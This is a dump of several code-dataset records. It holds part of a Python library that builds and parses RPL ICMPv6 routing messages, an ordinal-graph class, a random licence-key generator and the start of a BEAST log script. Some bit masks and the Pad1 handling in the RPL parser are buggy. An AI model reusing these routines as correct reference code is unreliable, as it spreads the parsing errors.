else:\n return super(DAO_ACK, self).parse(string)\n\n# From Section 6.6.1.\n# Format of the CC Base Object\n# 0 1 2 3\n# 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1\n# +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+\n# | RPLInstanceID |R| Flags | CC Nonce |\n# +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+\n# | |\n# + +\n# | |\n# + DODAGID +\n# | |\n# + +\n# | |\n# +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+\n# | Destination Counter |\n# +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+\n# | Option(s)...\n# +-+-+-+-+-+-+-+-+\n\n\nclass CC(ICMPv6):\n \"\"\"Consistency Check message format\"\"\"\n def __init__(self, instanceID=0, R=0, flags=0, Nonce=0, \\\n DODAGID='\\x00' * 16, \\\n DestCounter=0,\\\n pure=False):\n if (not pure):\n super(CC, self).__init__(code=RPL_CC)\n self._pure = False\n else:\n Header.__init__(self)\n\n self._fields += ['instanceID', 'Rflags', 'Nonce', \\\n 'DODAGID', 'DestCounter']\n self._compound_fields += ['R', 'flags']\n self._format += \"BBH16sI\"\n self._header_size += 24\n\n self._header['instanceID'] = instanceID\n self._header['Rflags'] = 0\n self._header['Nonce'] = Nonce\n self._header['DODAGID'] = DODAGID\n self._header['DestCounter'] = DestCounter\n\n self._compound['R'] = R\n self._compound['flags'] = flags\n\n self.build_compound_fields()\n\n def build_compound_fields(self):\n if (not self._pure):\n super(CC, self).build_compound_fields()\n\n # verifies the field content\n if self.R < 0 or self.R > 1:\n raise ValueError(\"R must be 0 or 1\")\n\n if self.flags < 0 or self.flags > 2**7 - 1:\n raise ValueError(\"flags must be within range 0 to 127\")\n\n self.Rflags = self.R << 7 | self.flags\n\n def unpack_compound_fields(self):\n if (not self._pure):\n super(CC, self).unpack_compound_fields()\n\n self.R = (self.Rflags >> 7) & 0x01\n self.flags = self.Rflags & 0x7f\n#\n# Definition of the RPL options\n#\n\n\n# From Section 6.7.1\n# RPL Control message option generic format\n#\n# 0 1 2\n# 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3\n# +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+- - - - - - - -\n# | Option Type | Option Length | Option Data\n# +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+- - - - - - - -\n\n\nclass RPL_Option(Header):\n \"\"\"A Generic Option header\"\"\"\n\n def __init__(self, mtype=RPL_OPT_Pad1, length=0):\n super(RPL_Option, self).__init__()\n\n self._format += \"BB\"\n self._fields += ['type', 'length']\n self._header_size += 2\n\n self._header['type'] = mtype\n self._header['length'] = length\n\n\n# From Section 6.7.2\n# Pad1 option format\n# 0\n# 0 1 2 3 4 5 6 7\n# +-+-+-+-+-+-+-+-+\n# | Type = 0x00 |\n# +-+-+-+-+-+-+-+-+\n\nclass RPL_Option_Pad1(Header):\n \"\"\"Pad1 option header\"\"\"\n def __init__(self):\n super(RPL_Option_Pad1, self).__init__()\n\n self._format += \"B\"\n self._fields += ['type']\n self._header_size += 1\n\n self._header['type'] = RPL_OPT_Pad1\n\n\n# From Section 6.7.3\n# PadN option format\n# 0 1 2\n# 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3\n# +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+- - - - - - - -\n# | Type = 0x01 | Option Length | 0x00 Padding...\n# +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+- - - - - - - -\n\n\nclass RPL_Option_PadN(RPL_Option):\n \"\"\"PadN option header\"\"\"\n def __init__(self, ** kwargs):\n super(RPL_Option_PadN, self).__init__(mtype=RPL_OPT_PadN, ** kwargs)\n\n def __str__(self):\n return super(RPL_Option_PadN, self).__str__() + \"\\x00\" * self.length\n\n def parse(self, string):\n payload = super(RPL_Option_PadN, self).parse(string)\n if len(string) < self._header_size + self.length:\n raise Exception(\"string argument is to short to be parsed\")\n\n return payload[self.length:]\n\n\n# From Section 6.7.4\n# DAG Metric Container\n# 0 1 2\n# 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3\n# +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+- - - - - - - -\n# | Type = 0x02 | Option Length | Metric Data\n# +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+- - - - - - - -\n# Figure 22: Format of the DAG Metric Container Option\n\n\nclass RPL_Option_DAG_Metric_Container(RPL_Option):\n \"\"\"DAG Metric container option\"\"\"\n def __init__(self, data=\"\"):\n \"\"\"data is the Metric Data and should contains is expected to be a raw string.\n Formating of the Metric Data is defined in RFC 6551\"\"\"\n super(RPL_Option_DAG_Metric_Container, self).__init__(mtype=RPL_OPT_DAG_Metric_Container)\n\n self._format += \"0s\" # data is considered as an empty string\n self._fields += [\"data\"]\n self._header['data'] = data\n self.length = len(str(self.data))\n\n def __str__(self):\n self.length = len(self.data)\n return super(RPL_Option_DAG_Metric_Container, self).__str__() + str(self.data)\n\n def parse(self, string):\n payload = super(RPL_Option_DAG_Metric_Container, self).parse(string)\n self.data = payload[:self.length]\n return payload[self.length:]\n\n\n# From Section 6.7.5\n# Format of the Route Information Option\n# 0 1 2 3\n# 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1\n# +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+\n# | Type = 0x03 | Option Length | Prefix Length |Resvd|Prf|Resvd|\n# +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+\n# | Route Lifetime |\n# +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+\n# | |\n# . Prefix (Variable Length) .\n# . .\n# +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+\n\nclass RPL_Option_Routing_Information(RPL_Option):\n \"\"\"Routing Information option\"\"\"\n def __init__(self, prefix_len=0, reserved=0, Prf=0, reserved2=0, \\\n route_lifetime=0, \\\n prefix=\"\"):\n super(RPL_Option_Routing_Information, self).__init__(mtype=RPL_OPT_Routing_Information)\n\n self._format += \"BBI0s\"\n self._fields += [\"prefix_len\", \"resvdPrfresvd2\", \\\n \"route_lifetime\", \"prefix\"]\n self._compound_fields += [\"reserved\", \"Prf\", \"reserved2\"]\n self._header_size += 6\n\n self._header['prefix_len'] = prefix_len\n self._header['resvdPrfresvd2'] = 0 # compound field\n self._header['route_lifetime'] = route_lifetime\n self._header['prefix'] = prefix\n\n self._compound['reserved'] = reserved\n self._compound['Prf'] = Prf\n self._compound['reserved2'] = reserved2\n\n # length is inferred by the size of the prefix field\n self.length = len(self.prefix) + 6\n\n self.build_compound_fields()\n\n def build_compound_fields(self):\n # verifies the field content\n if self.Prf < 0 or self.Prf > 3:\n raise ValueError(\"Prf must be between 0 or 3\")\n\n if self.reserved < 0 or self.reserved > 7:\n raise ValueError(\"reserved must be between 0 and 7\")\n\n if self.reserved2 < 0 or self.reserved2 > 7:\n raise ValueError(\"reserved2 must be between 0 and 7\")\n\n self.resvdPrfresvd2 = self.reserved << 5 | self.Prf << 3 | self.reserved2\n\n def unpack_compound_fields(self):\n self.reserved = (self.resvdPrfresvd2 >> 5) & 0x05\n self.Prf = (self.resvdPrfresvd2 >> 3) & 0x03\n self.reserved2 = self.resvdPrfresvd2 & 0x05\n\n def __str__(self):\n self.length = len(self.prefix) + 6\n return super(RPL_Option_Routing_Information, self).__str__() + str(self.prefix)\n\n def parse(self, string):\n payload = super(RPL_Option_Routing_Information, self).parse(string)\n if self.length < 6:\n raise ValueError(\"Length field is invalid (< 6)\")\n self.prefix = payload[:self.length - 6]\n return payload[self.length - 6:]\n\n\n# From Sectino 6.7.6\n# Format of the DODAG Configuration Option\n# 0 1 2 3\n# 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1\n# +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+\n# | Type = 0x04 |Opt Length = 14| Flags |A| PCS | DIOIntDoubl. |\n# +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+\n# | DIOIntMin. | DIORedun. | MaxRankIncrease |\n# +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+\n# | MinHopRankIncrease | OCP |\n# +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+\n# | Reserved | Def. Lifetime | Lifetime Unit |\n# +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+\n\n\nclass RPL_Option_DODAG_Configuration(RPL_Option):\n \"\"\"DODAG Configuration option\"\"\"\n def __init__(self, flags=0, A=0, PCS=0, DIOIntDoubl=0, \\\n DIOIntMin=0, DIORedun=0, MaxRankIncrease=0, \\\n MinHopRankIncrease=0, OCP=0, \\\n reserved=0, DefLifetime=0, LifetimeUnit=0):\n super(RPL_Option_DODAG_Configuration, self).__init__(mtype=RPL_OPT_DODAG_Configuration, length=14)\n\n self._format += \"BBBBHHHBBH\"\n self._fields += [\"flagsAPCS\", \"DIOIntDoubl\", \"DIOIntMin\", \"DIORedun\", \"MaxRankIncrease\", \\\n \"MinHopRankIncrease\", \"OCP\", \"reserved\", \"DefLifetime\", \"LifetimeUnit\"]\n self._compound_fields += ['flags', 'A', 'PCS']\n self._header_size += 14\n\n self._header['flagsAPCS'] = 0 # compound field\n self._header['DIOIntDoubl'] = DIOIntDoubl\n self._header['DIOIntMin'] = DIOIntMin\n self._header['DIORedun'] = DIORedun\n self._header['MaxRankIncrease'] = MaxRankIncrease\n self._header['MinHopRankIncrease'] = MinHopRankIncrease\n self._header['OCP'] = OCP\n self._header['reserved'] = reserved\n self._header['DefLifetime'] = DefLifetime\n self._header['LifetimeUnit'] = LifetimeUnit\n\n self._compound['flags'] = flags\n self._compound['A'] = A\n self._compound['PCS'] = PCS\n\n def build_compound_fields(self):\n # verifies the field content\n if self.A < 0 or self.A > 1:\n raise ValueError(\"A must be 0 or 1\")\n\n if self.flags < 0 or self.flags > 15:\n raise ValueError(\"flags must be between 0 and 5\")\n\n if self.PCS < 0 or self.PCS > 7:\n raise ValueError(\"PCS must be between 0 and 7\")\n\n self.flagsAPCS = self.flags << 4 | self.A << 3 | self.PCS\n\n def unpack_compound_fields(self):\n self.flags = (self.flagsAPCS >> 4) & 0x0F\n self.A = (self.flagsAPCS >> 3) & 0x01\n self.PCS = self.flagsAPCS & 0x05\n\n\n# From Section 6.7.7\n# Format of the RPL Target Option\n# 0 1 2 3\n# 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1\n# +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+\n# | Type = 0x05 | Option Length | Flags | Prefix Length |\n# +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+\n# | |\n# + +\n# | Target Prefix (Variable Length) |\n# . .\n# . .\n# +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+\n\n\nclass RPL_Option_RPL_Target(RPL_Option):\n \"\"\"RPL Target option\"\"\"\n def __init__(self, flags=0, prefix_len=0, target_prefix=\"\"):\n super(RPL_Option_RPL_Target, self).__init__(mtype=RPL_OPT_RPL_Target)\n self._format += \"BB0s\"\n self._fields += [\"flags\", \"prefix_len\", \"target_prefix\"]\n self._header_size += 2\n\n self._header['flags'] = flags\n self._header['prefix_len'] = prefix_len\n self._header['target_prefix'] = target_prefix\n\n self.length = len(target_prefix) + 2\n\n def __str__(self):\n self.length = len(self.target_prefix) + 2\n return super(RPL_Option_RPL_Target, self).__str__() + str(self.target_prefix)\n\n def parse(self, string):\n payload = super(RPL_Option_RPL_Target, self).parse(string)\n if self.length < 2:\n raise ValueError(\"Length field is invalid (< 2)\")\n self.target_prefix = payload[:self.length - 2]\n return payload[self.length - 2:]\n\n\n# From Section 6.7.8\n# Format of the Transit Information Option\n# 0 1 2 3\n# 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1\n# +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+\n# | Type = 0x06 | Option Length |E| Flags | Path Control |\n# +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+\n# | Path Sequence | Path Lifetime | |\n# +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ +\n# | |\n# + +\n# | |\n# + Parent Address* +\n# | |\n# + +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+\n# | |\n# +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+\n\n\nclass RPL_Option_Transit_Information(RPL_Option):\n \"\"\"Transit Information option\"\"\"\n def __init__(self, E=0, flags=0, path_control=0,\\\n path_sequence=0, path_lifetime=0, \\\n parent_address=\"\"):\n super(RPL_Option_Transit_Information, self).__init__(mtype=RPL_OPT_Transit_Information)\n self._format += \"BBBB0s\"\n self._fields += [\"Eflags\", \"path_control\", \"path_sequence\", \"path_lifetime\", \\\n \"parent_address\"]\n self._compound_fields += [\"E\", \"flags\"]\n self._header_size += 4\n\n self._header['Eflags'] = 0 # compound field\n self._header['path_control'] = path_control\n self._header['path_sequence'] = path_sequence\n self._header['path_lifetime'] = path_lifetime\n self._header['parent_address'] = parent_address\n\n self._compound['E'] = E\n self._compound['flags'] = flags\n\n self.length = len(parent_address) + 4\n self.build_compound_fields()\n\n def build_compound_fields(self):\n # verifies the field content\n if self.E < 0 or self.E > 1:\n raise ValueError(\"E must be 0 or 1\")\n\n if self.flags < 0 or self.flags > 127:\n raise ValueError(\"flags must be between 0 and 127\")\n\n self.Eflags = self.E << 7 | self.flags\n\n def unpack_compound_fields(self):\n self.flags = self.Eflags & 0x7F\n self.E = (self.Eflags >> 7) & 0x01\n\n def __str__(self):\n self.build_compound_fields()\n self.length = len(self.parent_address) + 4\n return super(RPL_Option_Transit_Information, self).__str__() + str(self.parent_address)\n\n def parse(self, string):\n payload = super(RPL_Option_Transit_Information, self).parse(string)\n if self.length < 4:\n raise ValueError(\"Length field is invalid (< 4)\")\n self.parent_address = payload[:self.length - 4]\n return payload[self.length - 4:]\n\n\n# From Section 6.7.9\n# Format of the Solicited Information Option\n# 0 1 2 3\n# 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1\n# +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+\n# | Type = 0x07 |Opt Length = 19| RPLInstanceID |V|I|D| Flags |\n# +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+\n# | |\n# + +\n# | |\n# + DODAGID +\n# | |\n# + +\n# | |\n# +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+\n# |Version Number |\n# +-+-+-+-+-+-+-+-+\n\n\nclass RPL_Option_Solicited_Information(RPL_Option):\n \"\"\"Solicited information option\"\"\"\n def __init__(self, instanceID=0, V=0, I=0, D=0, flags=0, \\\n DODAGID='\\x00' * 16, \\\n version=0):\n super(RPL_Option_Solicited_Information, self).__init__(mtype=RPL_OPT_Solicited_Information, length=19)\n self._format += \"BB16sB\"\n self._fields += [\"instanceID\", \"VIDflags\", 'DODAGID', 'version']\n self._compound_fields += [\"V\", \"I\", \"D\", \"flags\"]\n self._header_size += 19\n\n self._header['instanceID'] = instanceID\n self._header['VIDflags'] = 0 # compound field\n self._header['DODAGID'] = DODAGID\n self._header['version'] = version\n\n self._compound['V'] = V\n self._compound['I'] = I\n self._compound['D'] = D\n self._compound['flags'] = flags\n\n self.build_compound_fields()\n\n def build_compound_fields(self):\n # verifies the field content\n if self.V < 0 or self.V > 1:\n raise ValueError(\"V must be 0 or 1\")\n\n if self.I < 0 or self.I > 1:\n raise ValueError(\"I must be 0 or 1\")\n\n if self.D < 0 or self.D > 1:\n raise ValueError(\"D must be 0 or 1\")\n\n if self.flags < 0 or self.flags > 31:\n raise ValueError(\"flags must be between 0 and 31\")\n\n self.VIDflags = self.V << 7 | self.I << 6 | self.D << 5 | self.flags\n\n def unpack_compound_fields(self):\n self.V = self.VIDflags >> 7 & 0x01\n self.I = self.VIDflags >> 6 & 0x01\n self.D = self.VIDflags >> 5 & 0x01\n self.flags = self.VIDflags & 0x1F\n\n\n# From Section 6.7.10\n# Format of the Prefix Information Option\n# 0 1 2 3\n# 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1\n# +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+\n# | Type = 0x08 |Opt Length = 30| Prefix Length |L|A|R|Reserved1|\n# +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+\n# | Valid Lifetime |\n# +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+\n# | Preferred Lifetime |\n# +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+\n# | Reserved2 |\n# +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+\n# | |\n# + +\n# | |\n# + Prefix +\n# | |\n# + +\n# | |\n# +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+\n\n\nclass RPL_Option_Prefix_Information(RPL_Option):\n \"\"\"Prefix Inforrmation Option\"\"\"\n def __init__(self, prefix_len=0, L=0, A=0, R=0, reserved=0, \\\n valid_lifetime=0, preferred_lifetime=0, \\\n reserved2=0,\n prefix=\"\"):\n super(RPL_Option_Prefix_Information, self).__init__(mtype=RPL_OPT_Prefix_Information, length=30)\n self._format += \"BBIII16s\"\n self._fields += [\"prefix_len\", \"LARreserved\", \"valid_lifetime\", \\\n \"preferred_lifetime\", \"reserved2\", \"prefix\"]\n self._compound_fields += [\"L\", \"A\", \"R\", \"reserved\"]\n self._header_size += 30\n\n self._header['prefix_len'] = prefix_len\n self._header['LARreserved'] = 0 # compound field\n self._header['valid_lifetime'] = valid_lifetime\n self._header['preferred_lifetime'] = preferred_lifetime\n self._header['reserved2'] = reserved2\n self._header['prefix'] = prefix\n\n self._compound['L'] = L\n self._compound['A'] = A\n self._compound['R'] = R\n self._compound['reserved'] = reserved\n\n self.build_compound_fields()\n\n def build_compound_fields(self):\n # verifies the field content\n if self.L < 0 or self.L > 1:\n raise ValueError(\"L must be 0 or 1\")\n\n if self.A < 0 or self.A > 1:\n raise ValueError(\"A must be 0 or 1\")\n\n if self.R < 0 or self.R > 1:\n raise ValueError(\"R must be 0 or 1\")\n\n if self.reserved < 0 or self.reserved > 31:\n raise ValueError(\"reserved must be between 0 and 31\")\n\n self.LARreserved = self.L << 7 | self.A << 6 | self.R << 5 | self.reserved\n\n def unpack_compound_fields(self):\n self.L = self.LARreserved >> 7 & 0x01\n self.A = self.LARreserved >> 6 & 0x01\n self.R = self.LARreserved >> 5 & 0x01\n self.reserved = self.LARreserved & 0x1F\n\n\n# From Section 6.7.11\n# Format of the RPL Target Descriptor Option\n# 0 1 2 3\n# 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1\n# +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+\n# | Type = 0x09 |Opt Length = 4 | Descriptor\n# +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+\n# Descriptor (cont.) |\n# +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+\nclass RPL_Option_Target_Descriptor(RPL_Option):\n \"\"\"Target Descriptor option\"\"\"\n def __init__(self, descriptor=0):\n super(RPL_Option_Target_Descriptor, self).__init__(mtype=RPL_OPT_Target_Descriptor, length=4)\n self._format += \"I\"\n self._fields += [\"descriptor\"]\n self._header_size += 4\n\n self._header['descriptor'] = descriptor\n\n# map the type/code with the appropriate class\n\nRPL_Header_map = {\n RPL_DIS: DIS,\n RPL_DIO: DIO,\n RPL_DAO: DAO,\n RPL_DAO_ACK: DAO_ACK,\n # not implemented so far\n # RPL_SEC_DIS: None,\n # RPL_SEC_DIO: None,\n # RPL_SEC_DAO: None,\n # RPL_SEC_DAO_ACK: None,\n RPL_CC: CC,\n}\n\nRPL_Option_map = {\n RPL_OPT_Pad1: RPL_Option_Pad1,\n RPL_OPT_PadN: RPL_Option_PadN,\n RPL_OPT_DAG_Metric_Container: RPL_Option_DAG_Metric_Container,\n RPL_OPT_Routing_Information: RPL_Option_Routing_Information,\n RPL_OPT_DODAG_Configuration: RPL_Option_DODAG_Configuration,\n RPL_OPT_RPL_Target: RPL_Option_RPL_Target,\n RPL_OPT_Transit_Information: RPL_Option_Transit_Information,\n RPL_OPT_Solicited_Information: RPL_Option_Solicited_Information,\n RPL_OPT_Prefix_Information: RPL_Option_Prefix_Information,\n RPL_OPT_Target_Descriptor: RPL_Option_Target_Descriptor,\n}\n\n#\n# utility functions\n#\n\ndef findOption(payload, opt_type, position=0):\n \"\"\"Returns an option of type opt_type if it exists, or None.\n\n The position argument is used when the option appears multiple times.\n It indicates the option position (0 being the first time the option is met)\"\"\"\n\n # bottom case\n if payload == \"\":\n return None\n\n # Pad1 need special treatment\n if ord(payload[0]) == RPL_OPT_Pad1:\n if opt_type.__name__ == \"RPL_Option_Pad1\":\n if position == 0:\n return RPL_Option_Pad1()\n else:\n return findOption(payload[:1], opt_type, position - 1)\n else:\n return findOption(payload[:1], opt_type, position)\n\n option = RPL_Option()\n next_header = option.parse(payload)\n try: # parse the current option\n option = RPL_Option_map[option.type]()\n next_header = option.parse(payload)\n if isinstance(option, opt_type):\n if position == 0:\n return option\n else: # we skip this option\n return findOption(next_header, opt_type, position - 1)\n else:\n return findOption(next_header, opt_type, position)\n except KeyError:\n raise AttributeError(\"unable to find option of type %d\" % option.type)\n\ndef getAllOption(payload):\n \"\"\"Decode all option of the payload and returns a list\"\"\"\n if payload == \"\":\n return []\n\n # Pad1 need special treatment\n if ord(payload[0]) == RPL_OPT_Pad1:\n return [ RPL_Option_Pad1() ] + getAllOption(payload[1:])\n\n option = RPL_Option()\n option.parse(payload)\n\n try:\n real_option = RPL_Option_map[option.type]()\n next_option = real_option.parse(payload)\n except KeyError:\n raise AttributeError(\"unable to find option of type %d\" % option.type)\n\n return [real_option] + getAllOption(next_option)\n\n\n","repo_name":"tcheneau/simpleRPL","sub_path":"RPL/icmp.py","file_name":"icmp.py","file_ext":"py","file_size_in_byte":42382,"program_lang":"python","lang":"en","doc_type":"code","stars":33,"dataset":"github-code","pt":"52"} +{"seq_id":"2159996057","text":"\"\"\"\nAuthor: ZR000X\nDated: 2021-08-06\nLicense: MIT\nSource: https://github.com/ZR000X/Nodes\n\"\"\"\n\n\nclass Ordinal():\n \"\"\"\n An ordinal is simply a set of all things it is greater than.\n \"\"\"\n def __init__(self, subordinates=[], superiors=[], inform_on_init = True) -> None:\n if type(subordinates) is Ordinal:\n self.subordinates = [subordinates]\n else:\n self.subordinates = subordinates\n self.superiors = superiors\n if inform_on_init:\n self.inform_subordinates()\n self.inform_superiors()\n\n def __ge__(self, other):\n return other in self.subordinates\n\n def __le__(self, other):\n return self in other.subordinates\n\n def equals(self, other):\n return self >= other and other >= self\n\n def get_rank(self, superiors_asking=[]) -> int:\n \"\"\"\n the rank of an ordinal is precisely one more than the maximum rank of its subordinates\n \"\"\"\n # deal with empty lists\n if len(self.subordinates) == 0:\n return 0 \n # Loop through subordinates\n confused = False\n equals = []\n result = 0\n for sub in self.subordinates:\n # check that subordinate is not contradictory\n # Note: the original asker can never be confused\n if sub in superiors_asking:\n confused = True\n equals += [sub]\n continue\n # if not, get some return from the subordinate when asking rank\n rank = sub.get_rank(superiors_asking=superiors_asking + [self])\n # assess the return we got from asking rank\n if type(rank) is int:\n if rank >= result:\n result = rank + 1\n else:\n if rank[0] >= result:\n result = rank[0]\n equals += rank[1]\n # this subordinate continues the chain of confusion if it answers to superiors\n # if it sees itself in equals, however, it realises not to be confused\n if len(superiors_asking) > 0 and self not in equals:\n confused = True \n # decide what to return based on confusion\n if confused:\n return [result, equals]\n return result\n\n def get_depth(self, subordinates_asking=[]) -> int:\n \"\"\"\n the depth of an ordinal is precisely one more than the maximum depth of its superiors\n \"\"\"\n # deal with empty lists\n if len(self.superiors) == 0:\n return 0 \n # Loop through superiors\n confused = False\n equals = []\n result = 0\n for sup in self.superiors:\n # check that superior is not contradictory\n # Note: the original asker can never be confused\n if sup in subordinates_asking:\n confused = True\n equals += [sup]\n continue\n # if not, get some return from the superior when asking rank\n rank = sup.get_depth(subordinates_asking=subordinates_asking + [self])\n # assess the return we got from asking rank\n if type(rank) is int:\n if rank >= result:\n result = rank + 1\n else:\n if rank[0] >= result:\n result = rank[0]\n equals += rank[1]\n # this superior continues the chain of confusion if it answers to subordinates\n # if it sees itself in equals, however, it realises not to be confused\n if len(subordinates_asking) > 0 and self not in equals:\n confused = True \n # decide what to return based on confusion\n if confused:\n return [result, equals]\n return result\n\n def hire_subordinate(self, sub, inform_sub: bool = True):\n if inform_sub:\n if self not in sub.superiors:\n sub.superiors.append(self)\n self.subordinates.append(sub) \n\n def inform_subordinates(self):\n \"\"\"\n Ensures all subordinates are aware of their subordination\n \"\"\"\n if self.subordinates is not None:\n for sub in self.subordinates:\n if type(sub) is not str and self not in sub.superiors:\n sub.superiors.append(self)\n\n def inform_all_subordinates(self):\n self.inform_subordinates()\n for sub in self.subordinates:\n sub.inform_all_subordinates()\n\n def inform_superiors(self):\n \"\"\"\n Ensures all superiors are aware of their superiority\n \"\"\"\n if self.superiors is not None:\n for sup in self.superiors:\n if self not in sup.superiors:\n sup.subordinates.append(self)\n \n def inform_all_superiors(self):\n self.inform_superiors()\n for sup in self.superiors:\n sup.inform_all_superiors()\n\n def is_root(self):\n return len(self.subordinates) == 0\n\n def is_peak(self):\n return len(self.superiors) == 0\n\n def get_roots(self, roots=[]):\n for sub in self:\n if sub is self or sub in roots:\n return [] \n if sub.is_root():\n roots.append(sub)\n else:\n roots += sub.get_roots(roots)\n return roots\n\n def get_peaks(self, peaks=[]):\n for sup in self.superiors:\n if sup is self or sup in peaks:\n return [] \n if sup.is_peak():\n peaks.append(sup)\n else:\n peaks += sup.get_peaks(peaks)\n return peaks","repo_name":"ZR000X/NetworkDataFlowModel","sub_path":"ordinal.py","file_name":"ordinal.py","file_ext":"py","file_size_in_byte":5708,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"52"} +{"seq_id":"31874247160","text":"import random\n\nclass Create():\n def __init__(self,name,*args):\n dic,lic = 'aAbBcCdDeEfFgGhHiIjJkKlLmMnNoOpPqQrRsStTuUvVwWxXyYzZ1234567890!\"#$%&/()=-_|°?¿',''\n for i in range(8): lic += random.choice(dic)\n name = name.encode('utf-32')\n lic = lic.encode('utf-32')\n f = open('lic.bin','wb')\n f.write(lic); f.close()\n self.Name(name)\n\n def Name(self,name,*args):\n f = open('usr.bin','wb')\n f.write(name); f.close()\n \n \nCreate('H3XEEG')\n","repo_name":"Gashpid/HEXEEG","sub_path":"assets/lib/Others/lic_gen.py","file_name":"lic_gen.py","file_ext":"py","file_size_in_byte":517,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"52"} +{"seq_id":"34247432410","text":"import sys, os, time, string\nfrom fnmatch import fnmatch\nfrom optparse import OptionParser\nimport subprocess\nfrom subprocess import Popen, PIPE\n\n\n\n# Check log files from BEAST runs and summarize HPDs\n################################################################################################################################\n# Parameters\n################################################################################################################################\n\nusage = \"usage: %prog [option]\"\nparser = OptionParser(usage=usage)\n\n\nparser.add_option(\"-i\",\"--inputpath\",\n dest = \"inputpath\",\n default = \"\",\n metavar = \"path\",\n help = \"Path to input file [required]\")\n\nparser.add_option(\"-o\",\"--outputpath\",\n dest = \"outputpath\",\n default = \"\",\n metavar = \"path\",\n help = \"Path to store output files [required]\")\n\nparser.add_option(\"-B\",\"--BEAST\",\n 